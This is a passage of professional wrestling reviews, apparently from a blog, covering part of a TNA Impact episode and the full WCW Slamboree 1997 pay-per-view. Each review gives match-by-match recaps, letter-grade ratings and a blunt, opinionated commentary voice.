Rating: D+. How in the world was this almost five minutes? It felt like it came and went inside of thirty seconds, which doesn’t really surprise me as these matches are usually pretty forgettable. It’s been a very steady and basic build for Brooke vs. Gail and Gail needs to lose the title already anyway. The looks of the four girls are the highlights here again as usual.

Since we’re coming up on the ten year anniversary of the company, we get some clips of the previous ten years, including sabu showing up and costing Raven a title match against Jarrett which was a big deal at the time.

Here’s RVD to face whoever Roode picks for him. RVD says that he’s one of a kind and he’ll win the title from Roode. Cue Roode who says RVD always has his head in the clouds and was on a HIGHatus, and at Sacrifice RVD will be added to the list of everyone that Roode has beaten. Roode says RVD can announce Roode’s opponent first. RVD implies Storm for a bit but it’s Mr. Anderson. Roode picks Jeff Hardy.

TV Title: D-Von vs. Robbie T

This is fallout from Lockdown. Robbie jumps him in the corner and takes over quickly. He slams D-Von down for two but runs into a boot in the corner. D-Von comes back with his usual stuff like shoulders and punches. Swan Dive headbutt gets two. Robbie E is brought in and does nothing so D-Von spears T down. E hits him in the head with The List for the DQ at 2:45.

Snow and Flair meet in the back and the third judge is the Senior Vice President of Talent Relations: Bruce Pritchard (Brother Love).

After a quick recap of Silva’s performance last week, the judges talk with overly dramatic music playing. Pritchard and Flair aren’t thrilled but Snow pleads his case. Flair says he isn’t big enough so Snow suggests the X-Division. Flair still isn’t sold and Pritchard seems to have no idea what side he’s on. We’ll get the decision later I guess. So they sat there talking for four minutes for nothing?

Hogan tells Anderson his match tonight is No DQ and no countout.

Jeff Hardy vs. Rob Van Dam

They fight over a wristlock to start and RVD takes him into a rollup for two. Jeff sends him to the floor and hits a clothesline off the apron which gets two back in. Whisper in the Wind gets two. Van Dam takes out the knee and hits Rolling Thunder for two. Cue Roode with the belt but the referee sees him coming. Jeff gets sent into the ropes and Roode hits him in the back with the belt, allowing Rob to superkick Jeff down for the pin at 3:40.

Rating: D+. Bad match but it’s mainly because of how short the match was. With less than four minutes and a piece of that being spent on the referee yelling at Roode, they can only make it so interesting. Nothing to see here and I really don’t get the ending unless Roode hit Jeff by mistake.

Ray is walking through the back and runs into Joseph Park who says he’ll prove that Ray had something to do with Abyss’ disappearance. Ray shoves him away and threatens Park if he doesn’t back off.

JB says that he did what he did to Bischoff last week because of the last two and a half years of stuff he’s had to put up with. Bully Ray shows up and drags JB to the ring, saying they’ll talk about it out there. Out in the ring, Ray says that he’s tired of this anti-bullying nonsense and goes off on JB (never hitting him) about how JB is the kind of guy that guys like Bully pick on.

Cue Austin Aries who goes off on Ray, saying that Ray has picked on him for his size like everyone else has. Aries says that Ray was fat for most of his career and now he’s in shape and….Ray knocks the mic out of his hand and yells at Aries until Aries blasts him in the head. Aries beats him into the corner and beats him down in the corner. Security comes out to stop Aries and Ray kicks him low to end this.

Kaz and Daniels talk about getting the tag titles until Angle yells at them. They’re in a six man tonight. Angle isn’t thrilled about being their partner.

Roode isn’t worried about facing Mr. Anderson.

Kurt Angle/Christopher Daniels/Kazarian vs. Samoa Joe/Magnus/AJ Styles

AJ has those stupid black gloves again. The champs hit the ring and the brawl is on. Those four head to the floor so it’s AJ vs. Angle in the ring. This certainly works. AJ does the dropdown into a dropkick sequence but Daniels comes in to jump him. Angle doesn’t like it so he shoves Daniels into the corner. Joe comes in and pounds Angle down before tagging Magnus back in.

Kurt takes him down and we hit the chinlock. Magnus fights up and hits a clothesline for the tag to AJ. Styles cleans house and loads up the Clash but Daniels breaks it up with an enziguri. Everything breaks down and Magnus makes a blind tag. Daniels is sent to the floor with Magnus following him. Suicide elbow takes Daniels out. AJ sets for a dive but Angle picks the ankle and hooks the lock but Kaz tags himself in while the hold is on. Joe runs Angle into Daniels and Magnus breaks up Fade to Black, allowing Styles to hit the Clash on Kaz for the pin at 4:30.

Rating: C+. This was the best match on the show by about a mile so far. They were moving out there and while you had a bunch of angles going on in one match it was still entertaining. It’s going to continue Daniels vs. AJ which needs to end forever already but it also continues Styles vs. Angle which is good.

Daniels says next week, AJ needs to reveal the secret or he’ll do it himself.

Time for the Gut Check deal. Snow introduces the three judges (himself, Pritchard and Flair). This is straight out of a reality show as Silva stands there in a spotlight while the guys talk about him. Flair says no, Snow says yes, Pritchard says….something, and Silva gets thirty seconds to talk.

He’s from Quebec so he has a thick accent. This is his dream and he gets cut off with Flair saying to talk to them, not the marks. Silva says that he stands up for himself every single night and that he’s here for his contract. Flair says ok you’re in. Shouldn’t that do it? Pritchard says that sways him so it’s all three now and he gets a contract.

We run down the card for Sacrifice.

Mr. Anderson vs. Bobby Roode

This is No DQ. They start on the floor with Roode in control but Anderson sends him into the post. The Regal Roll puts Bobby down and we take a break. Back with Roode pulling the referee in front of him as a shield and then hitting a low blow to take over. Out to the floor again and Roode knocks Anderson around. Roode gets a chair and slides it in where it gets wedged between the top and middle rope.

Since this is a wrestling match, Anderson sends Roode into it instead. Anderson makes the comeback and hits the high kick for two. Mic Check is broken up and Anderson charges into a boot. Roode counters another Regal Roll into a spinebuster for two. Here’s Hardy out of nowhere to beat up Roode but as he goes to get Anderson up he takes the Mic Check. There’s another Sacrifice match I guess. Roode hits Anderson with the chair and this the fisherman’s for the pin at 11:10, a lot of which was in a commercial.

Rating: C. Not bad here but it was more to set up Anderson vs. Hardy than to do anything about Van Dam vs. Roode. At least it broke ten minutes which helps a bit but the match was nothing great at all. Roode needs time to make his matches better and since he didn’t have that here, the match suffered.

Roode lays them both out with the chair until Van Dam comes in for the save. Roode leaves but comes back to beat down RVD, hitting a DDT onto the chair to end the show.

Overall Rating: D. This one missed for me. It wasn’t that the show was bad but much more that it was boring. I didn’t like the Silva stuff for the most part and that was pretty much the main focus of the show. There was less Hogan tonight which helped and while it wasn’t annoying like last week, I just kept wanting the show to move along. The really short matches other than the main event didn’t help things either. Not a horrible show but it didn’t work that well for me.

Results
Brooke Tessmacher/Velvet Sky b. Gail Kim/Madison Rayne – Eat Defeat to Kim
D-Von b. Robbie T via DQ when Robbie E interfered
Rob Van Dam b. Jeff hardy – Superkick
AJ Styles/Samoa Joe/Magnus b. Christopher Daniels/Kazarian/Kurt Angle – Styles Clash to Kazarian
Bobby Roode b. Mr. Anderson – Fisherman’s Suplex

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Slamboree 1997: Agoobwa

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Date: May 18, 1997
Location: Independence Arena, Charlotte, North Carolina
Attendance: 9,643
Commentators: Dusty Rhodes, Tony Schiavone, Bobby Heenan

So you remember how Spring Stampede was a filler PPV? This one is as well but probably moreso than that one. The main event is the Wolfpac vs. the Horsemen in a meaningless six man. Hogan had this annoying habit of taking the summer off and he did it again here too. He wouldn’t be back until July with Bash at the Beach for another meaningless tag match. To give you an idea of how dominant WCW was, the world title wasn’t defended on PPV from February until August and they still dominated WWF. Let’s get to it.

The opening video is about the three former football players that are wrestling tonight. You know, because that’s what we bought wrestling PPVs to see.

The announcers babble about tradition.

TV Title: Steven Regal vs. Ultimo Dragon

Regal is challenging. Dragon goes to a wristlock and manages to stop Regal’s usual counter to it and hooks an armbar. Test of strength goes on with Regal taking him down but Dragon pops right back up. They go to the corner and Dragon does his stand on his head in the corner deal. Why does no one ever hit him while he does that? I get the real life reason that he might die, but in kayfabe why not hit him?

Back on the mat Dragon fires off some kicks and hooks a half crab. Regal makes the rope and fires off some kicks of his own to send the champion to the floor. Back in a suplex gets two for Regal. They trade full nelsons and Dragon gets a sunset flip for two. Regal Stretch is avoided and Dragon is all fired up now for some reason. They get into a chain wrestling match and Regal is in his element. Regal tries the Stretch again but Dragon grabs his own mask to block it.

Since the Stretch won’t go on it’s time for the bow and arrow/surfboard (Dusty and Tenay call it either or) but Dragon escapes and fires a kick to the back. Here’s the bridging Indian Deathlock and the fans chant for Regal. Dragon switches to a camel clutch and it turns into a brawl. Dragon dropkicks him to the floor and Sonny fires off some kicks. Those get him yelled at by the champ so Dragon sends Regal back in and hits a top rope rana for two.

Regal tries the Stretch again but Dragon makes the ropes. The fans are firmly behind Regal now which is strange as this is heel vs. heel and Dragon has been the good guy by default. Both guys try rollups for two but Dragon takes over with a spinwheel kick. Tiger suplex is countered but Dragon sends Regal to the floor. Asai Moonsault hits and Sonny adds in some more kicks. Dragon stops him so Sonny kicks Dragon, allowing Regal to take over. In the ring a reverse suplex sets up the Regal Stretch and we have a new champion.

Rating: B. This was getting really good at the end and was still good when Sonny got involved. Was there ever a more useless manager now named Paul Jones? Really good opener here as they were beating the tar out of each other. Dragon would get the title back in a little over two months.

Madusa vs. Luna Vachon

This is the fallout from last month. Luna is billed from the Other Side of Darkness. Lee Marshall is brought in as a women’s wrestling expert here. Luna takes her down to start and chokes a lot. Madusa tries to throw punches but gets beaten down again. Marshall talks about Martina Navartilova as Madusa kicks Luna’s head off with a SWEET spin kick. Luna comes back with a stomach claw which that schnook Marshall calls scandalous. Madusa hits something like a Stinger Splash and screams a lot. Clothesline gets two. Luna manages a thumb in the eye, misses a top rope splash, and gets German suplexed for the pin.

Rating: D-. Nothing at all to see here as neither girl cared and none of the fans cared either. Bad match and there was nothing going on. The division didn’t exist but we got this stuff every now and then so that WCW could claim they had women’s wrestlers. Bad match but Madusa is kind of cute at times.

Post match Madusa takes her vest off to reveal her bra, which you could see 80% of already.

Here are Savage and Liz for a little chat. They throw Gene out and head to the ring. He talks about how the NWO is the center of the universe and how Page doesn’t matter because he doesn’t want any more of Savage. Cue Page through the crowd with a crutch to taunt Savage. The NWO has a conference in the aisle as Page makes fun of Savage, saying that he washes Hogan’s car. Savage finally comes in and gets beaten down by the crutch. More NWO comes in and beat him down but the Giant makes the save. Page vs. Savage would main event the next show. This took almost eight minutes.

Rey Mysterio vs. Yuji Yasuraoka

Yuji is a guy who I can only find very infrequent matches in New Japan for. He debuted last night on Saturday Night and that’s about all they’ve got on him. In other words, he’s a nobody. They both trade some quick holds and Rey works on the leg. Yuji comes back with a suplex and a kick to the back to take over. He’s the heel by default here because he’s Japanese and therefore evil. Oh and because he’s facing Mysterio.

Spinwheel kick gets two for Yuji. He puts his hands on the chest instead of a usual cover with a leg hook to really show how evil he is. Rey sends him to the floor and sets for a dive but the referee gets in the way. Rey is like screw it and dives over Curtis the next time instead to hit Yuji. Back in the ring Rey hooks a camel clutch which looks really awkward for him. Yuji comes back and hooks a Fujiwara Armbar as things slow down again.

Apparently Yuji is a former partner of Lance Storm. Heenan: “He sounds like a weatherman from Omaha.” Now it’s a cross armbreaker to really put the fans to sleep. Well not to sleep but remember that this is a no name guy keeping things on the mat in a non-title match. Why should we care? Out to the floor and Yuji hits a double ax off the top to take Rey out. Suplex back in gets two. Rey sends him into the corner and hits a split legged moonsault for two.

Time to trade some reversals with both guys getting two, Yuji’s off a countered victory roll and Rey’s off the counter to the counter. Yuji tries a rana but gets powerbombed for two. Rey misses a top rope splash and Yuji hits his finisher, a double arm DDT, for two. Another attempt at it is countered into a northern lights suplex for two. A top rope cross body is dropkicked down by Rey and the West Coast Pop gets the pin.

Rating: C. It’s not a bad match but at the end of the day, it’s just another cruiserweight match that doesn’t mean anything because Syxx wouldn’t defend the freaking title. On top of that the match was only ok. Yuji would never be seen again that I know of and after this, I can kind of see why. Again not a bad match, but nothing we haven’t seen a million times.

Mortis vs. Glacier

This is one of those feuds that went on forever and I don’t think there was ever any real resolution to it. Glacier charges in and the fight is on quick. Mortis goes after the knee and Glacier is down in the corner. And here’s Wrath who has debuted before this apparently. Glacier hits a German on Mortis before Wrath gets here but there’s the DQ like two minutes in. This is what NITRO is for people!

Ernest Miller comes in through the crowd for the save. He hasn’t been named yet at this point. Oh ok he is named and the announcers immediately recognize him as a world karate champion, because Eric Bischoff seemed to think that EVERYONE followed tournament karate.

US Title: Jeff Jarrett vs. Dean Malenko

Dean is defending and Debra brings out Jeff. They fight over a lockup to start and Dean gives him a clean break in the corner. Jeff takes him down with a shoulder but doesn’t follow up. Even Tony is confused by that. Dean hits a drop toehold but doesn’t follow up either. They both seem hesitant to charge in here. Dean hooks a quick chinlock but Jarrett counters into a mat hold of his own that is countered so quickly that it’s off to an STF by Dean.

Debra says something and they’re still feeling each other out in the ring. Dean hooks a leg bar which goes nowhere either. Out to the floor and Jarrett’s leg is put over the railing and kicked, but he’s fine enough to rapidly stomp Dean on the way back in. Dropkick gets two. Off to an abdominal stretch which lasts for a few moments. Dean tries to speed things up and sends Jeff to the floor.

Back in Dean still won’t go after him and for the life of me I don’t get why. It’s Jeff Jarrett in 1997. Armbar goes on followed by a swinging neckbreaker. Here comes the Figure Four but Dean escapes by hitting Jeff’s knee. Cloverleaf is countered into a small package for two. Another Cloverleaf attempt is countered by Dean being sent to the floor. Back in the ring a cross body is rolled through for two for Dean.

Off to a sleeper so Tony talks about Piper. Now Malenko counters into a sleeper of his own but Jeff quickly counters into the Figure Four. Dean panics then realizes he’s 8 inches from the ropes. The fans are all over Jarrett here. Dean sends him into the corner and we get an embarrassingly bad collision. Here’s Mongo to pull Debra away and throw Jarrett back into the Cloverleaf so Dean can retain.

Rating: C. Again the match isn’t bad but so what? Back in February Mongo and Jarrett were fighting because of Debra and now it’s May and they’re still fighting about Debra. Also keep in mind that this is when Jarrett was still REALLY boring in the ring and could pretty much just throw dropkicks and put on a Figure Four. Nothing to see here as Malenko keeps the title and that’s about it. Jarrett would get the title about three months later in an attempt to make the Mongo feud mean something.

Meng vs. Chris Benoit

This is a death match which means last man standing. Speaking of feuds that WOULD NOT END, this is more Benoit/Horsemen vs. Dungeon. At least Woman looks pretty good here. Benoit is tentative to start but grabs a dragon screw leg whip to put Meng down for about a second. Meng comes right back so Benoit heads to the floor where he gets counted for no apparent reason.

Back in the ring Meng hits a belly to belly suplex. Meng tries to throw a punch but Benoit slips behind him and hits a German. Benoit keeps going for the legs which is smart strategy but he gets kicked off. Out to the floor and Meng is sent into the steps in a scary looking bump as the corner almost hit his eye. Meng comes back in and pounds him down in the corner but Benoit comes back with chops.

Meng goes all psycho Samoan…..and for the love of all things good and holy freaking Jacqueline is here. NO ONE LIKES YOU AND NO ONE CARES ABOUT YOU NOW GO AWAY!!! Woman chases her away for some reason that I don’t care about at all. Meng hooks a half crab and I think you can win by submission as well. Benoit makes the ropes which is a break in a match that has no DQ.

Benoit tries a comeback but gets headbutted right back down. A good piledriver puts Benoit down for eight. Out of nowhere Benoit grabs the Crossface (not named yet. Ok apparently it is but Tony calls it an armbar submission at first) but Meng slides to the floor to break it. Now Dusty says you have to break in the ropes. What happens if you don’t? Benoit keeps getting up and screams for more so Meng keeps kicking him in the face.

A running kick in the corner misses and Benoit fires away at him. Here are the rolling Germans which that idiot Tony calls dragon suplexes. This show is ticking me off already and now we have to listen to Tony screw up move names. Here’s the Crossface again but Meng rolls outside again. Wicked suicide dive takes Meng down but Benoit can’t follow up. Back in a suplex puts Meng down but he catches Benoit in the Tongan Death Grip while Benoit tries the swan dive. Benoit passes out for the loss.

Rating: D+. Another match that more or less was a singles match but more hard hitting. It wasn’t terrible but with Tony and Jackie out there messing up everything, it was hard to care. On top of that, why have Benoit lose here? That would apparently be so that they could do THE EXACT SAME MATCH the next month.

This show is already bad but the problem is that none of this stuff matters. That’s the case for Spring Stampede, this show and the Great American Bash, because most of the big names weren’t here and none of the matches meant anything because it was clear that everything was leading up to Sting vs. Hogan, and Hogan didn’t appear on any of these shows, nor did Sting I don’t think. In other words, we had three months of worthless PPVs, which make them even harder to sit through.

Konnan/Hugh Morrus vs. Steiner Brothers

See my point? Scott and Morrus start. Dusty says these teams both want to be tag champions. That’s hilarious: like the Outsiders would ever defend those things. To give you an idea of things: the Steiners won the belts in October. From October 1996 until May of 1998, ONLY the Outsiders and the Steiners held the belts (not counting the Giant/Luger title win as they had to return them the next night). On top of that, aside from 18 days in Spring of 98, either an Outsider or a Steiner held the titles from October of 1996 until January of 1999. Think about that for a minute.

Morrus gets thrown around by both Steiners and Rick hits some Steiner Lines. A top rope Steiner Line puts Morrus on the floor and the Steiners clear the ring. Rick vs. Konnan now with Konnan getting thrown all over the place with “that move that Benoit used in the last match” (German suplex). Back to Scott as we’re in squash mode so far. Konnan finally gets a boot up in the corner to give the Dungeon an advantage.

Never mind of course as Scott suplexes him over. Morrus comes in again and Jimmy trips Scott to give his team a chance. Hugh manages a suplex and it’s back to Konnan who gets two off a neckbreaker. Morrus hooks a Fujiwara Armbar but it’s off to Konnan for a modified Rings of Saturn. Scott gets up and hits an overhead belly to belly. Morrus tries a double ax while Scott is on his back because the put the boot up while the other guy does a move that only exists to jump into the boot spot is REALLY what I want to see right now. Hot tag to Rick, bad top rope bulldog, everything breaks down, Frankensteiner, pin.

Rating: D. Another whatever match here as none of it means anything and we got a glorified squash on PPV. Then again Rick lost a glorified squash last month as well but hey, it sucked last month so maybe it will here too! Nothing to see here (of course) as the Steiners wouldn’t get a title shot until AUGUST.

Konnan beats up Morrus post match, quitting the Dungeon to become a rapper.

Reggie White vs. Steve McMichael

GREAT. This is EXACTLY what this show needs. Why is Reggie White fighting? Who knows? Who cares? My guess is because even though Mongo is a face here, he turned heel on Greene like 11 months ago and this is REVENGE. You would think that Greene would want revenge himself, but he’s in the main event with the guys that Mongo turned on him for. In theory White is a heel here, but naturally he’s treated as the hero against a Horseman in CHARLOTTE. He has his strength coach with him. This is White’s first match ever and they put him with STEVE FREAKING MCMICHAEL. Let’s get this over with.

Feeling out process to start as Mongo is definitely playing heel. They collide and both stumble. They do it again and Mongo stumbles a bit. White hooks a headlock and they ram again with Mongo going down this time. Steve draws the scrimmage line and they go at it with Mongo taking the leg out. They do it again and White jumps over him, then hits him in the side of the ribs which is a “clothesline.”

Mongo tries to leave but one of White’s teammates comes out to throw him back in. It’s a nose tackle from the Packers apparently. White gets some great height on a dropkick for two. The kick sucked but he was UP THERE. The fans cheer for Mongo but he keeps playing heel because that’s what was set before the match and White (not his fault) doesn’t know how to be a heel because HE ISN’T A WRESTLER.

Mongo hooks an armbar and shouts about how Jesus may have White’s soul (White was known as a very religious man) but Mongo has him right now. That gets McMichael sent to the floor and it’s more stalling. White hooks a headlock but Mongo escapes and clips him to take over. Side slam puts Reggie down but he comes back up quickly and puts the headlock on again before hitting a cross body for two.

Off to a nerve hold by White but McMichael hits him low and makes fun of church bells. Off to another leg lock and then a half crab. They ram each other into the corner a few times but Steve kicks the knee out. Figure four is countered and White shoves him down. He actually SELLS THE KNEE….or maybe he’s just tired. They slug it out in the corner and Reggie is all fired up.

There’s an atomic drop and a much better clothesline to put Mongo on the floor. Back in and McMichael takes over, only to have his suplex countered. He hits a splash but there’s no referee because of Debra. Briefcase is stolen by the other football player but Jeff Jarrett comes out and throws in another case and the shot with that gets the pin on White.

Rating: F. As in FIFTEEN MINUTES that this match got. Now before I get into this, I want to emphasize something: Reggie White was TRYING out there. He looked fired up, he was going the entire time, and there have been far worse celebrity performances in the past. That being said, the match was WAY too long and McMichael was the totally wrong person to try to carry him.

Think back to the 97 Great American Bash when it was Mongo/Greene debuting as a team. They faced Arn Anderson and Ric Flair, two of the best ring technicians ever. Flair and Arn walked then through a 20 minute match and it wasn’t that terrible. That being said, this was a HORRIBLE idea. You took basically a rookie and had him work a fifteen minute match with a football player. Horrible match, but more based on the people that put it together rather than the wrestlers.

Kevin Greene/Roddy Piper/Ric Flair vs. Syxx/Kevin Nash/Scott Hall

Here’s your main event. Nothing on the line, just pride. It’s Flair’s first match back in 8 months. Greene played for the Carolina Panthers so he’s incredibly popular. Flair vs. Syxx to start. Syxx takes him down quickly and grabs a headlock. Flair chops him down but Syxx kicks him in the face. Syxx chops him in the corner and Flair is all like boy please. There’s a backdrop and a pelvic thrust to the Outsiders.

Hall comes in and takes a punch and Flair wants Nash. Greene and Piper haven’t done anything yet. Hall comes in legally and Flair says bring it on. Now it’s off to Greene and it’s time to stall. Nash comes in before Hall does anything. They shove each other around and Nash pounds away with the usual stuff in the corner. Greene comes back with a shoulderblock to take down the other Kevin and he does it again. Nash heads to the floor so Greene beats up both other Wolfpac members.

Hall wants Piper so here he is. Piper has a HUGE bandage on his right thigh. Into the corner and Piper rifles off rights and lefts as we continue the start and stop nature of this match. A knee lift by Piper puts Piper down (not a typo) but Hall shoves him into the corner. Roddy fights off all three of them at once but Syxx manages to get in a shot to the leg to give the NWO their first advantage.

Piper kicks away a figure four attempt and dives to Flair, putting the total time the NWO was in control at 19 seconds. Flair comes in but gets knocked into the corner for the Flair Flip. He comes off the top and jumps into the fallaway slam by Hall. They all head to the floor and Greene runs over Syxx. Flair is the face in peril and gets caught in Snake Eyes.

Back to Hall for nothing of note and it’s back to Syxx. He hits the Bronco Buster, drawing a homosexual slur chant. That of course fires up the He-Man known as Ric Flair but Syxx takes him back down almost immediately. Flair tags in Piper but the referee doesn’t see it. Piper is like screw that and decks Anderson and everything breaks down. Nick Patrick, freshly good again, replaces Anderson. Flair hits Hall low and puts on the Figure Four. Piper puts Nash in the sleeper and Syxx gets powerslammed for the triple win.

Rating: C. This was a basic six man tag but MAN did the place pop for the win. This is supposed to be a big deal for some reason with Tony calling it the biggest moment in the history of WCW. It’s probably the best match of the night other than the opener and this one kind of almost means something so I’ll give it the point. Greene was having a blast out here and did what he could.

Overall Rating: N. As in nothing. I’ve got nothing that could accurately describe how worthless this was. Some of the matches are ok at best but for the most part they were either bad or pointless. Nothing to see here at all as none of the big stars were here for the most part, at least not wrestling. This was the second of three straight PPVs with no Hogan and as annoying as he was, without him there was really no point to anything because he was world champion. Horrible show that was actually making me mad at times, which is a rarity.

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